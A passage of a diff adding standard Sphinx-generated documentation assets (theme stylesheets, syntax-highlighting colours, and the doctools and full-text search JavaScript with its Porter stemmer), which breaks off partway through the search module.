+div.literal-block-wrapper div.highlight {
+    margin: 0;
+}
+
+code.descname {
+    background-color: transparent;
+    font-weight: bold;
+    font-size: 1.2em;
+}
+
+code.descclassname {
+    background-color: transparent;
+}
+
+code.xref, a code {
+    background-color: transparent;
+    font-weight: bold;
+}
+
+h1 code, h2 code, h3 code, h4 code, h5 code, h6 code {
+    background-color: transparent;
+}
+
+.viewcode-link {
+    float: right;
+}
+
+.viewcode-back {
+    float: right;
+    font-family: sans-serif;
+}
+
+div.viewcode-block:target {
+    margin: -1px -10px;
+    padding: 0 10px;
+}
+
+/* -- math display ---------------------------------------------------------- */
+
+img.math {
+    vertical-align: middle;
+}
+
+div.body div.math p {
+    text-align: center;
+}
+
+span.eqno {
+    float: right;
+}
+
+/* -- printout stylesheet --------------------------------------------------- */
+
+@media print {
+    div.document,
+    div.documentwrapper,
+    div.bodywrapper {
+        margin: 0 !important;
+        width: 100%;
+    }
+
+    div.sphinxsidebar,
+    div.related,
+    div.footer,
+    #top-link {
+        display: none;
+    }
+}

docs/build/html/_static/classic.css

@@ -0,0 +1,261 @@
+/*
+ * default.css_t
+ * ~~~~~~~~~~~~~
+ *
+ * Sphinx stylesheet -- default theme.
+ *
+ * :copyright: Copyright 2007-2015 by the Sphinx team, see AUTHORS.
+ * :license: BSD, see LICENSE for details.
+ *
+ */
+
+@import url("basic.css");
+
+/* -- page layout ----------------------------------------------------------- */
+
+body {
+    font-family: sans-serif;
+    font-size: 100%;
+    background-color: #11303d;
+    color: #000;
+    margin: 0;
+    padding: 0;
+}
+
+div.document {
+    background-color: #1c4e63;
+}
+
+div.documentwrapper {
+    float: left;
+    width: 100%;
+}
+
+div.bodywrapper {
+    margin: 0 0 0 230px;
+}
+
+div.body {
+    background-color: #ffffff;
+    color: #000000;
+    padding: 0 20px 30px 20px;
+}
+
+div.footer {
+    color: #ffffff;
+    width: 100%;
+    padding: 9px 0 9px 0;
+    text-align: center;
+    font-size: 75%;
+}
+
+div.footer a {
+    color: #ffffff;
+    text-decoration: underline;
+}
+
+div.related {
+    background-color: #133f52;
+    line-height: 30px;
+    color: #ffffff;
+}
+
+div.related a {
+    color: #ffffff;
+}
+
+div.sphinxsidebar {
+}
+
+div.sphinxsidebar h3 {
+    font-family: 'Trebuchet MS', sans-serif;
+    color: #ffffff;
+    font-size: 1.4em;
+    font-weight: normal;
+    margin: 0;
+    padding: 0;
+}
+
+div.sphinxsidebar h3 a {
+    color: #ffffff;
+}
+
+div.sphinxsidebar h4 {
+    font-family: 'Trebuchet MS', sans-serif;
+    color: #ffffff;
+    font-size: 1.3em;
+    font-weight: normal;
+    margin: 5px 0 0 0;
+    padding: 0;
+}
+
+div.sphinxsidebar p {
+    color: #ffffff;
+}
+
+div.sphinxsidebar p.topless {
+    margin: 5px 10px 10px 10px;
+}
+
+div.sphinxsidebar ul {
+    margin: 10px;
+    padding: 0;
+    color: #ffffff;
+}
+
+div.sphinxsidebar a {
+    color: #98dbcc;
+}
+
+div.sphinxsidebar input {
+    border: 1px solid #98dbcc;
+    font-family: sans-serif;
+    font-size: 1em;
+}
+
+
+
+/* -- hyperlink styles ------------------------------------------------------ */
+
+a {
+    color: #355f7c;
+    text-decoration: none;
+}
+
+a:visited {
+    color: #355f7c;
+    text-decoration: none;
+}
+
+a:hover {
+    text-decoration: underline;
+}
+
+
+
+/* -- body styles ----------------------------------------------------------- */
+
+div.body h1,
+div.body h2,
+div.body h3,
+div.body h4,
+div.body h5,
+div.body h6 {
+    font-family: 'Trebuchet MS', sans-serif;
+    background-color: #f2f2f2;
+    font-weight: normal;
+    color: #20435c;
+    border-bottom: 1px solid #ccc;
+    margin: 20px -20px 10px -20px;
+    padding: 3px 0 3px 10px;
+}
+
+div.body h1 { margin-top: 0; font-size: 200%; }
+div.body h2 { font-size: 160%; }
+div.body h3 { font-size: 140%; }
+div.body h4 { font-size: 120%; }
+div.body h5 { font-size: 110%; }
+div.body h6 { font-size: 100%; }
+
+a.headerlink {
+    color: #c60f0f;
+    font-size: 0.8em;
+    padding: 0 4px 0 4px;
+    text-decoration: none;
+}
+
+a.headerlink:hover {
+    background-color: #c60f0f;
+    color: white;
+}
+
+div.body p, div.body dd, div.body li {
+    text-align: justify;
+    line-height: 130%;
+}
+
+div.admonition p.admonition-title + p {
+    display: inline;
+}
+
+div.admonition p {
+    margin-bottom: 5px;
+}
+
+div.admonition pre {
+    margin-bottom: 5px;
+}
+
+div.admonition ul, div.admonition ol {
+    margin-bottom: 5px;
+}
+
+div.note {
+    background-color: #eee;
+    border: 1px solid #ccc;
+}
+
+div.seealso {
+    background-color: #ffc;
+    border: 1px solid #ff6;
+}
+
+div.topic {
+    background-color: #eee;
+}
+
+div.warning {
+    background-color: #ffe4e4;
+    border: 1px solid #f66;
+}
+
+p.admonition-title {
+    display: inline;
+}
+
+p.admonition-title:after {
+    content: ":";
+}
+
+pre {
+    padding: 5px;
+    background-color: #eeffcc;
+    color: #333333;
+    line-height: 120%;
+    border: 1px solid #ac9;
+    border-left: none;
+    border-right: none;
+}
+
+code {
+    background-color: #ecf0f3;
+    padding: 0 1px 0 1px;
+    font-size: 0.95em;
+}
+
+th {
+    background-color: #ede;
+}
+
+.warning code {
+    background: #efc2c2;
+}
+
+.note code {
+    background: #d6d6d6;
+}
+
+.viewcode-back {
+    font-family: sans-serif;
+}
+
+div.viewcode-block:target {
+    background-color: #f4debf;
+    border-top: 1px solid #ac9;
+    border-bottom: 1px solid #ac9;
+}
+
+div.code-block-caption {
+    color: #efefef;
+    background-color: #1c4e63;
+}

docs/build/html/_static/doctools.js

@@ -0,0 +1,263 @@
+/*
+ * doctools.js
+ * ~~~~~~~~~~~
+ *
+ * Sphinx JavaScript utilities for all documentation.
+ *
+ * :copyright: Copyright 2007-2015 by the Sphinx team, see AUTHORS.
+ * :license: BSD, see LICENSE for details.
+ *
+ */
+
+/**
+ * select a different prefix for underscore
+ */
+$u = _.noConflict();
+
+/**
+ * make the code below compatible with browsers without
+ * an installed firebug like debugger
+if (!window.console || !console.firebug) {
+  var names = ["log", "debug", "info", "warn", "error", "assert", "dir",
+    "dirxml", "group", "groupEnd", "time", "timeEnd", "count", "trace",
+    "profile", "profileEnd"];
+  window.console = {};
+  for (var i = 0; i < names.length; ++i)
+    window.console[names[i]] = function() {};
+}
+ */
+
+/**
+ * small helper function to urldecode strings
+ */
+jQuery.urldecode = function(x) {
+  return decodeURIComponent(x).replace(/\+/g, ' ');
+};
+
+/**
+ * small helper function to urlencode strings
+ */
+jQuery.urlencode = encodeURIComponent;
+
+/**
+ * This function returns the parsed url parameters of the
+ * current request. Multiple values per key are supported,
+ * it will always return arrays of strings for the value parts.
+ */
+jQuery.getQueryParameters = function(s) {
+  if (typeof s == 'undefined')
+    s = document.location.search;
+  var parts = s.substr(s.indexOf('?') + 1).split('&');
+  var result = {};
+  for (var i = 0; i < parts.length; i++) {
+    var tmp = parts[i].split('=', 2);
+    var key = jQuery.urldecode(tmp[0]);
+    var value = jQuery.urldecode(tmp[1]);
+    if (key in result)
+      result[key].push(value);
+    else
+      result[key] = [value];
+  }
+  return result;
+};
+
+/**
+ * highlight a given string on a jquery object by wrapping it in
+ * span elements with the given class name.
+ */
+jQuery.fn.highlightText = function(text, className) {
+  function highlight(node) {
+    if (node.nodeType == 3) {
+      var val = node.nodeValue;
+      var pos = val.toLowerCase().indexOf(text);
+      if (pos >= 0 && !jQuery(node.parentNode).hasClass(className)) {
+        var span = document.createElement("span");
+        span.className = className;
+        span.appendChild(document.createTextNode(val.substr(pos, text.length)));
+        node.parentNode.insertBefore(span, node.parentNode.insertBefore(
+          document.createTextNode(val.substr(pos + text.length)),
+          node.nextSibling));
+        node.nodeValue = val.substr(0, pos);
+      }
+    }
+    else if (!jQuery(node).is("button, select, textarea")) {
+      jQuery.each(node.childNodes, function() {
+        highlight(this);
+      });
+    }
+  }
+  return this.each(function() {
+    highlight(this);
+  });
+};
+
+/*
+ * backward compatibility for jQuery.browser
+ * This will be supported until firefox bug is fixed.
+ */
+if (!jQuery.browser) {
+  jQuery.uaMatch = function(ua) {
+    ua = ua.toLowerCase();
+
+    var match = /(chrome)[ \/]([\w.]+)/.exec(ua) ||
+      /(webkit)[ \/]([\w.]+)/.exec(ua) ||
+      /(opera)(?:.*version|)[ \/]([\w.]+)/.exec(ua) ||
+      /(msie) ([\w.]+)/.exec(ua) ||
+      ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec(ua) ||
+      [];
+
+    return {
+      browser: match[ 1 ] || "",
+      version: match[ 2 ] || "0"
+    };
+  };
+  jQuery.browser = {};
+  jQuery.browser[jQuery.uaMatch(navigator.userAgent).browser] = true;
+}
+
+/**
+ * Small JavaScript module for the documentation.
+ */
+var Documentation = {
+
+  init : function() {
+    this.fixFirefoxAnchorBug();
+    this.highlightSearchWords();
+    this.initIndexTable();
+  },
+
+  /**
+   * i18n support
+   */
+  TRANSLATIONS : {},
+  PLURAL_EXPR : function(n) { return n == 1 ? 0 : 1; },
+  LOCALE : 'unknown',
+
+  // gettext and ngettext don't access this so that the functions
+  // can safely bound to a different name (_ = Documentation.gettext)
+  gettext : function(string) {
+    var translated = Documentation.TRANSLATIONS[string];
+    if (typeof translated == 'undefined')
+      return string;
+    return (typeof translated == 'string') ? translated : translated[0];
+  },
+
+  ngettext : function(singular, plural, n) {
+    var translated = Documentation.TRANSLATIONS[singular];
+    if (typeof translated == 'undefined')
+      return (n == 1) ? singular : plural;
+    return translated[Documentation.PLURALEXPR(n)];
+  },
+
+  addTranslations : function(catalog) {
+    for (var key in catalog.messages)
+      this.TRANSLATIONS[key] = catalog.messages[key];
+    this.PLURAL_EXPR = new Function('n', 'return +(' + catalog.plural_expr + ')');
+    this.LOCALE = catalog.locale;
+  },
+
+  /**
+   * add context elements like header anchor links
+   */
+  addContextElements : function() {
+    $('div[id] > :header:first').each(function() {
+      $('<a class="headerlink">\u00B6</a>').
+      attr('href', '#' + this.id).
+      attr('title', _('Permalink to this headline')).
+      appendTo(this);
+    });
+    $('dt[id]').each(function() {
+      $('<a class="headerlink">\u00B6</a>').
+      attr('href', '#' + this.id).
+      attr('title', _('Permalink to this definition')).
+      appendTo(this);
+    });
+  },
+
+  /**
+   * workaround a firefox stupidity
+   * see: https://bugzilla.mozilla.org/show_bug.cgi?id=645075
+   */
+  fixFirefoxAnchorBug : function() {
+    if (document.location.hash)
+      window.setTimeout(function() {
+        document.location.href += '';
+      }, 10);
+  },
+
+  /**
+   * highlight the search words provided in the url in the text
+   */
+  highlightSearchWords : function() {
+    var params = $.getQueryParameters();
+    var terms = (params.highlight) ? params.highlight[0].split(/\s+/) : [];
+    if (terms.length) {
+      var body = $('div.body');
+      if (!body.length) {
+        body = $('body');
+      }
+      window.setTimeout(function() {
+        $.each(terms, function() {
+          body.highlightText(this.toLowerCase(), 'highlighted');
+        });
+      }, 10);
+      $('<p class="highlight-link"><a href="javascript:Documentation.' +
+        'hideSearchWords()">' + _('Hide Search Matches') + '</a></p>')
+          .appendTo($('#searchbox'));
+    }
+  },
+
+  /**
+   * init the domain index toggle buttons
+   */
+  initIndexTable : function() {
+    var togglers = $('img.toggler').click(function() {
+      var src = $(this).attr('src');
+      var idnum = $(this).attr('id').substr(7);
+      $('tr.cg-' + idnum).toggle();
+      if (src.substr(-9) == 'minus.png')
+        $(this).attr('src', src.substr(0, src.length-9) + 'plus.png');
+      else
+        $(this).attr('src', src.substr(0, src.length-8) + 'minus.png');
+    }).css('display', '');
+    if (DOCUMENTATION_OPTIONS.COLLAPSE_INDEX) {
+        togglers.click();
+    }
+  },
+
+  /**
+   * helper function to hide the search marks again
+   */
+  hideSearchWords : function() {
+    $('#searchbox .highlight-link').fadeOut(300);
+    $('span.highlighted').removeClass('highlighted');
+  },
+
+  /**
+   * make the url absolute
+   */
+  makeURL : function(relativeURL) {
+    return DOCUMENTATION_OPTIONS.URL_ROOT + '/' + relativeURL;
+  },
+
+  /**
+   * get the current relative url
+   */
+  getCurrentURL : function() {
+    var path = document.location.pathname;
+    var parts = path.split(/\//);
+    $.each(DOCUMENTATION_OPTIONS.URL_ROOT.split(/\//), function() {
+      if (this == '..')
+        parts.pop();
+    });
+    var url = parts.join('/');
+    return path.substring(url.lastIndexOf('/') + 1, path.length - 1);
+  }
+};
+
+// quick alias for translations
+_ = Documentation.gettext;
+
+$(document).ready(function() {
+  Documentation.init();
+});

docs/build/html/_static/pygments.css

@@ -0,0 +1,63 @@
+.highlight .hll { background-color: #ffffcc }
+.highlight  { background: #eeffcc; }
+.highlight .c { color: #408090; font-style: italic } /* Comment */
+.highlight .err { border: 1px solid #FF0000 } /* Error */
+.highlight .k { color: #007020; font-weight: bold } /* Keyword */
+.highlight .o { color: #666666 } /* Operator */
+.highlight .cm { color: #408090; font-style: italic } /* Comment.Multiline */
+.highlight .cp { color: #007020 } /* Comment.Preproc */
+.highlight .c1 { color: #408090; font-style: italic } /* Comment.Single */
+.highlight .cs { color: #408090; background-color: #fff0f0 } /* Comment.Special */
+.highlight .gd { color: #A00000 } /* Generic.Deleted */
+.highlight .ge { font-style: italic } /* Generic.Emph */
+.highlight .gr { color: #FF0000 } /* Generic.Error */
+.highlight .gh { color: #000080; font-weight: bold } /* Generic.Heading */
+.highlight .gi { color: #00A000 } /* Generic.Inserted */
+.highlight .go { color: #333333 } /* Generic.Output */
+.highlight .gp { color: #c65d09; font-weight: bold } /* Generic.Prompt */
+.highlight .gs { font-weight: bold } /* Generic.Strong */
+.highlight .gu { color: #800080; font-weight: bold } /* Generic.Subheading */
+.highlight .gt { color: #0044DD } /* Generic.Traceback */
+.highlight .kc { color: #007020; font-weight: bold } /* Keyword.Constant */
+.highlight .kd { color: #007020; font-weight: bold } /* Keyword.Declaration */
+.highlight .kn { color: #007020; font-weight: bold } /* Keyword.Namespace */
+.highlight .kp { color: #007020 } /* Keyword.Pseudo */
+.highlight .kr { color: #007020; font-weight: bold } /* Keyword.Reserved */
+.highlight .kt { color: #902000 } /* Keyword.Type */
+.highlight .m { color: #208050 } /* Literal.Number */
+.highlight .s { color: #4070a0 } /* Literal.String */
+.highlight .na { color: #4070a0 } /* Name.Attribute */
+.highlight .nb { color: #007020 } /* Name.Builtin */
+.highlight .nc { color: #0e84b5; font-weight: bold } /* Name.Class */
+.highlight .no { color: #60add5 } /* Name.Constant */
+.highlight .nd { color: #555555; font-weight: bold } /* Name.Decorator */
+.highlight .ni { color: #d55537; font-weight: bold } /* Name.Entity */
+.highlight .ne { color: #007020 } /* Name.Exception */
+.highlight .nf { color: #06287e } /* Name.Function */
+.highlight .nl { color: #002070; font-weight: bold } /* Name.Label */
+.highlight .nn { color: #0e84b5; font-weight: bold } /* Name.Namespace */
+.highlight .nt { color: #062873; font-weight: bold } /* Name.Tag */
+.highlight .nv { color: #bb60d5 } /* Name.Variable */
+.highlight .ow { color: #007020; font-weight: bold } /* Operator.Word */
+.highlight .w { color: #bbbbbb } /* Text.Whitespace */
+.highlight .mb { color: #208050 } /* Literal.Number.Bin */
+.highlight .mf { color: #208050 } /* Literal.Number.Float */
+.highlight .mh { color: #208050 } /* Literal.Number.Hex */
+.highlight .mi { color: #208050 } /* Literal.Number.Integer */
+.highlight .mo { color: #208050 } /* Literal.Number.Oct */
+.highlight .sb { color: #4070a0 } /* Literal.String.Backtick */
+.highlight .sc { color: #4070a0 } /* Literal.String.Char */
+.highlight .sd { color: #4070a0; font-style: italic } /* Literal.String.Doc */
+.highlight .s2 { color: #4070a0 } /* Literal.String.Double */
+.highlight .se { color: #4070a0; font-weight: bold } /* Literal.String.Escape */
+.highlight .sh { color: #4070a0 } /* Literal.String.Heredoc */
+.highlight .si { color: #70a0d0; font-style: italic } /* Literal.String.Interpol */
+.highlight .sx { color: #c65d09 } /* Literal.String.Other */
+.highlight .sr { color: #235388 } /* Literal.String.Regex */
+.highlight .s1 { color: #4070a0 } /* Literal.String.Single */
+.highlight .ss { color: #517918 } /* Literal.String.Symbol */
+.highlight .bp { color: #007020 } /* Name.Builtin.Pseudo */
+.highlight .vc { color: #bb60d5 } /* Name.Variable.Class */
+.highlight .vg { color: #bb60d5 } /* Name.Variable.Global */
+.highlight .vi { color: #bb60d5 } /* Name.Variable.Instance */
+.highlight .il { color: #208050 } /* Literal.Number.Integer.Long */

docs/build/html/_static/searchtools.js

@@ -0,0 +1,651 @@
+/*
+ * searchtools.js_t
+ * ~~~~~~~~~~~~~~~~
+ *
+ * Sphinx JavaScript utilties for the full-text search.
+ *
+ * :copyright: Copyright 2007-2015 by the Sphinx team, see AUTHORS.
+ * :license: BSD, see LICENSE for details.
+ *
+ */
+
+
+/* Non-minified version JS is _stemmer.js if file is provided */ 
+/**
+ * Porter Stemmer
+ */
+var Stemmer = function() {
+
+  var step2list = {
+    ational: 'ate',
+    tional: 'tion',
+    enci: 'ence',
+    anci: 'ance',
+    izer: 'ize',
+    bli: 'ble',
+    alli: 'al',
+    entli: 'ent',
+    eli: 'e',
+    ousli: 'ous',
+    ization: 'ize',
+    ation: 'ate',
+    ator: 'ate',
+    alism: 'al',
+    iveness: 'ive',
+    fulness: 'ful',
+    ousness: 'ous',
+    aliti: 'al',
+    iviti: 'ive',
+    biliti: 'ble',
+    logi: 'log'
+  };
+
+  var step3list = {
+    icate: 'ic',
+    ative: '',
+    alize: 'al',
+    iciti: 'ic',
+    ical: 'ic',
+    ful: '',
+    ness: ''
+  };
+
+  var c = "[^aeiou]";          // consonant
+  var v = "[aeiouy]";          // vowel
+  var C = c + "[^aeiouy]*";    // consonant sequence
+  var V = v + "[aeiou]*";      // vowel sequence
+
+  var mgr0 = "^(" + C + ")?" + V + C;                      // [C]VC... is m>0
+  var meq1 = "^(" + C + ")?" + V + C + "(" + V + ")?$";    // [C]VC[V] is m=1
+  var mgr1 = "^(" + C + ")?" + V + C + V + C;              // [C]VCVC... is m>1
+  var s_v   = "^(" + C + ")?" + v;                         // vowel in stem
+
+  this.stemWord = function (w) {
+    var stem;
+    var suffix;
+    var firstch;
+    var origword = w;
+
+    if (w.length < 3)
+      return w;
+
+    var re;
+    var re2;
+    var re3;
+    var re4;
+
+    firstch = w.substr(0,1);
+    if (firstch == "y")
+      w = firstch.toUpperCase() + w.substr(1);
+
+    // Step 1a
+    re = /^(.+?)(ss|i)es$/;
+    re2 = /^(.+?)([^s])s$/;
+
+    if (re.test(w))
+      w = w.replace(re,"$1$2");
+    else if (re2.test(w))
+      w = w.replace(re2,"$1$2");
+
+    // Step 1b
+    re = /^(.+?)eed$/;
+    re2 = /^(.+?)(ed|ing)$/;
+    if (re.test(w)) {
+      var fp = re.exec(w);
+      re = new RegExp(mgr0);
+      if (re.test(fp[1])) {
+        re = /.$/;
+        w = w.replace(re,"");
+      }
+    }
+    else if (re2.test(w)) {
+      var fp = re2.exec(w);
+      stem = fp[1];
+      re2 = new RegExp(s_v);
+      if (re2.test(stem)) {
+        w = stem;
+        re2 = /(at|bl|iz)$/;
+        re3 = new RegExp("([^aeiouylsz])\\1$");
+        re4 = new RegExp("^" + C + v + "[^aeiouwxy]$");
+        if (re2.test(w))
+          w = w + "e";
+        else if (re3.test(w)) {
+          re = /.$/;
+          w = w.replace(re,"");
+        }
+        else if (re4.test(w))
+          w = w + "e";
+      }
+    }
+
+    // Step 1c
+    re = /^(.+?)y$/;
+    if (re.test(w)) {
+      var fp = re.exec(w);
+      stem = fp[1];
+      re = new RegExp(s_v);
+      if (re.test(stem))
+        w = stem + "i";
+    }
+
+    // Step 2
+    re = /^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/;
+    if (re.test(w)) {
+      var fp = re.exec(w);
+      stem = fp[1];
+      suffix = fp[2];
+      re = new RegExp(mgr0);
+      if (re.test(stem))
+        w = stem + step2list[suffix];
+    }
+
+    // Step 3
+    re = /^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/;
+    if (re.test(w)) {
+      var fp = re.exec(w);
+      stem = fp[1];
+      suffix = fp[2];
+      re = new RegExp(mgr0);
+      if (re.test(stem))
+        w = stem + step3list[suffix];
+    }
+
+    // Step 4
+    re = /^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/;
+    re2 = /^(.+?)(s|t)(ion)$/;
+    if (re.test(w)) {
+      var fp = re.exec(w);
+      stem = fp[1];
+      re = new RegExp(mgr1);
+      if (re.test(stem))
+        w = stem;
+    }
+    else if (re2.test(w)) {
+      var fp = re2.exec(w);
+      stem = fp[1] + fp[2];
+      re2 = new RegExp(mgr1);
+      if (re2.test(stem))
+        w = stem;
+    }
+
+    // Step 5
+    re = /^(.+?)e$/;
+    if (re.test(w)) {
+      var fp = re.exec(w);
+      stem = fp[1];
+      re = new RegExp(mgr1);
+      re2 = new RegExp(meq1);
+      re3 = new RegExp("^" + C + v + "[^aeiouwxy]$");
+      if (re.test(stem) || (re2.test(stem) && !(re3.test(stem))))
+        w = stem;
+    }
+    re = /ll$/;
+    re2 = new RegExp(mgr1);
+    if (re.test(w) && re2.test(w)) {
+      re = /.$/;
+      w = w.replace(re,"");
+    }
+
+    // and turn initial Y back to y
+    if (firstch == "y")
+      w = firstch.toLowerCase() + w.substr(1);
+    return w;
+  }
+}
+
+
+
+/**
+ * Simple result scoring code.
+ */
+var Scorer = {
+  // Implement the following function to further tweak the score for each result
+  // The function takes a result array [filename, title, anchor, descr, score]
+  // and returns the new score.
+  /*
+  score: function(result) {
+    return result[4];
+  },
+  */
+
+  // query matches the full name of an object
+  objNameMatch: 11,
+  // or matches in the last dotted part of the object name
+  objPartialMatch: 6,
+  // Additive scores depending on the priority of the object
+  objPrio: {0:  15,   // used to be importantResults
+            1:  5,   // used to be objectResults
+            2: -5},  // used to be unimportantResults
+  //  Used when the priority is not in the mapping.
+  objPrioDefault: 0,
+
+  // query found in title
+  title: 15,
+  // query found in terms
+  term: 5
+};
+
+
+/**
+ * Search Module
+ */
+var Search = {
+
+  _index : null,
+  _queued_query : null,
+  _pulse_status : -1,
+
+  init : function() {
+      var params = $.getQueryParameters();
+      if (params.q) {
+          var query = params.q[0];
+          $('input[name="q"]')[0].value = query;
+          this.performSearch(query);
+      }
+  },
+
+  loadIndex : function(url) {
+    $.ajax({type: "GET", url: url, data: null,
+            dataType: "script", cache: true,
+            complete: function(jqxhr, textstatus) {
+              if (textstatus != "success") {
+                document.getElementById("searchindexloader").src = url;
+              }
+            }});
+  },
+
+  setIndex : function(index) {
+    var q;
+    this._index = index;
+    if ((q = this._queued_query) !== null) {
+      this._queued_query = null;
+      Search.query(q);
+    }
+  },
+
+  hasIndex : function() {
+      return this._index !== null;
+  },
+
+  deferQuery : function(query) {
+      this._queued_query = query;
+  },
+
+  stopPulse : function() {
+      this._pulse_status = 0;
+  },
+
+  startPulse : function() {
+    if (this._pulse_status >= 0)
+        return;
+    function pulse() {
+      var i;
+      Search._pulse_status = (Search._pulse_status + 1) % 4;
+      var dotString = '';
+      for (i = 0; i < Search._pulse_status; i++)
+        dotString += '.';
+      Search.dots.text(dotString);
+      if (Search._pulse_status > -1)
+        window.setTimeout(pulse, 500);
+    }
+    pulse();
+  },
+
+  /**
+   * perform a search for something (or wait until index is loaded)
+   */
+  performSearch : function(query) {
+    // create the required interface elements
+    this.out = $('#search-results');
+    this.title = $('<h2>' + _('Searching') + '</h2>').appendTo(this.out);
+    this.dots = $('<span></span>').appendTo(this.title);
+    this.status = $('<p style="display: none"></p>').appendTo(this.out);
+    this.output = $('<ul class="search"/>').appendTo(this.out);
+
+    $('#search-progress').text(_('Preparing search...'));
+    this.startPulse();
+
+    // index already loaded, the browser was quick!
+    if (this.hasIndex())
+      this.query(query);
+    else
+      this.deferQuery(query);
+  },
+
+  /**
+   * execute search (requires search index to be loaded)
+   */
+  query : function(query) {
+    var i;
+    var stopwords = ["a","and","are","as","at","be","but","by","for","if","in","into","is","it","near","no","not","of","on","or","such","that","the","their","then","there","these","they","this","to","was","will","with"];
+
+    // stem the searchterms and add them to the correct list
+    var stemmer = new Stemmer();
+    var searchterms = [];
+    var excluded = [];
+    var hlterms = [];
+    var tmp = query.split(/\s+/);
+    var objectterms = [];
+    for (i = 0; i < tmp.length; i++) {
+      if (tmp[i] !== "") {
+          objectterms.push(tmp[i].toLowerCase());
+      }
+
+      if ($u.indexOf(stopwords, tmp[i].toLowerCase()) != -1 || tmp[i].match(/^\d+$/) ||
+          tmp[i] === "") {
+        // skip this "word"
+        continue;
+      }
+      // stem the word
+      var word = stemmer.stemWord(tmp[i].toLowerCase());
+      var toAppend;
+      // select the correct list
+      if (word[0] == '-') {
+        toAppend = excluded;
+        word = word.substr(1);
+      }
+      else {
+        toAppend = searchterms;
+        hlterms.push(tmp[i].toLowerCase());
+      }
+      // only add if not already in the list
+      if (!$u.contains(toAppend, word))
+        toAppend.push(word);
+    }
+    var highlightstring = '?highlight=' + $.urlencode(hlterms.join(" "));
+
+    // console.debug('SEARCH: searching for:');
+    // console.info('required: ', searchterms);
+    // console.info('excluded: ', excluded);
+
+    // prepare search
+    var terms = this._index.terms;
+    var titleterms = this._index.titleterms;
+
+    // array of [filename, title, anchor, descr, score]
+    var results = [];
+    $('#search-progress').empty();
+
+    // lookup as object
+    for (i = 0; i < objectterms.length; i++) {
+      var others = [].concat(objectterms.slice(0, i),
+                             objectterms.slice(i+1, objectterms.length));
+      results = results.concat(this.performObjectSearch(objectterms[i], others));
+    }
+
+    // lookup as search terms in fulltext
+    results = results.concat(this.performTermsSearch(searchterms, excluded, terms, titleterms));
+
+    // let the scorer override scores with a custom scoring function
+    if (Scorer.score) {
+      for (i = 0; i < results.length; i++)
+        results[i][4] = Scorer.score(results[i]);
+    }
+
+    // now sort the results by score (in opposite order of appearance, since the
+    // display function below uses pop() to retrieve items) and then
+    // alphabetically
+    results.sort(function(a, b) {
+      var left = a[4];
+      var right = b[4];
+      if (left > right) {
+        return 1;
+      } else if (left < right) {
+        return -1;
+      } else {
+        // same score: sort alphabetically
+        left = a[1].toLowerCase();
+        right = b[1].toLowerCase();
+        return (left > right) ? -1 : ((left < right) ? 1 : 0);
+      }
+    });
+
+    // for debugging
+    //Search.lastresults = results.slice();  // a copy
+    //console.info('search results:', Search.lastresults);
+
+    // print the results
+    var resultCount = results.length;
+    function displayNextItem() {
+      // results left, load the summary and display it
+      if (results.length) {
+        var item = results.pop();
+        var listItem = $('<li style="display:none"></li>');
+        if (DOCUMENTATION_OPTIONS.FILE_SUFFIX === '') {
+          // dirhtml builder
+          var dirname = item[0] + '/';
+          if (dirname.match(/\/index\/$/)) {
+            dirname = dirname.substring(0, dirname.length-6);
+          } else if (dirname == 'index/') {
+            dirname = '';
+          }
+          listItem.append($('<a/>').attr('href',
+            DOCUMENTATION_OPTIONS.URL_ROOT + dirname +
+            highlightstring + item[2]).html(item[1]));
+        } else {
+          // normal html builders
+          listItem.append($('<a/>').attr('href',
+            item[0] + DOCUMENTATION_OPTIONS.FILE_SUFFIX +
+            highlightstring + item[2]).html(item[1]));
+        }
+        if (item[3]) {
+          listItem.append($('<span> (' + item[3] + ')</span>'));
+          Search.output.append(listItem);
+          listItem.slideDown(5, function() {
+            displayNextItem();
+          });
+        } else if (DOCUMENTATION_OPTIONS.HAS_SOURCE) {
+          $.ajax({url: DOCUMENTATION_OPTIONS.URL_ROOT + '_sources/' + item[0] + '.txt',
+                  dataType: "text",
+                  complete: function(jqxhr, textstatus) {
+                    var data = jqxhr.responseText;
+                    if (data !== '' && data !== undefined) {
+                      listItem.append(Search.makeSearchSummary(data, searchterms, hlterms));
+                    }
+                    Search.output.append(listItem);
+                    listItem.slideDown(5, function() {
+                      displayNextItem();
+                    });
+                  }});
+        } else {
+          // no source available, just display title
+          Search.output.append(listItem);
+          listItem.slideDown(5, function() {
+            displayNextItem();
+          });
+        }
+      }
+      // search finished, update title and status message
+      else {
+        Search.stopPulse();
+        Search.title.text(_('Search Results'));
+        if (!resultCount)
+          Search.status.text(_('Your search did not match any documents. Please make sure that all words are spelled correctly and that you\'ve selected enough categories.'));
+        else
+            Search.status.text(_('Search finished, found %s page(s) matching the search query.').replace('%s', resultCount));
+        Search.status.fadeIn(500);
+      }
+    }
+    displayNextItem();
+  },
+
+  /**
+   * search for object names
+   */
+  performObjectSearch : function(object, otherterms) {
+    var filenames = this._index.filenames;
+    var objects = this._index.objects;
+    var objnames = this._index.objnames;
+    var titles = this._index.titles;
+
+    var i;
+    var results = [];
+
+    for (var prefix in objects) {
+      for (var name in objects[prefix]) {
+        var fullname = (prefix ? prefix + '.' : '') + name;
+        if (fullname.toLowerCase().indexOf(object) > -1) {
+          var score = 0;
+          var parts = fullname.split('.');
+          // check for different match types: exact matches of full name or
+          // "last name" (i.e. last dotted part)
+          if (fullname == object || parts[parts.length - 1] == object) {
+            score += Scorer.objNameMatch;
+          // matches in last name
+          } else if (parts[parts.length - 1].indexOf(object) > -1) {
+            score += Scorer.objPartialMatch;
+          }
+          var match = objects[prefix][name];
+          var objname = objnames[match[1]][2];
+          var title = titles[match[0]];
+          // If more than one term searched for, we require other words to be
+          // found in the name/title/description
+          if (otherterms.length > 0) {
+            var haystack = (prefix + ' ' + name + ' ' +
+                            objname + ' ' + title).toLowerCase();
+            var allfound = true;
+            for (i = 0; i < otherterms.length; i++) {
+              if (haystack.indexOf(otherterms[i]) == -1) {
+                allfound = false;
+                break;
+              }
+            }
+            if (!allfound) {
+              continue;
+            }
+          }
+          var descr = objname + _(', in ') + title;
+
+          var anchor = match[3];
+          if (anchor === '')
+            anchor = fullname;
+          else if (anchor == '-')
+            anchor = objnames[match[1]][1] + '-' + fullname;
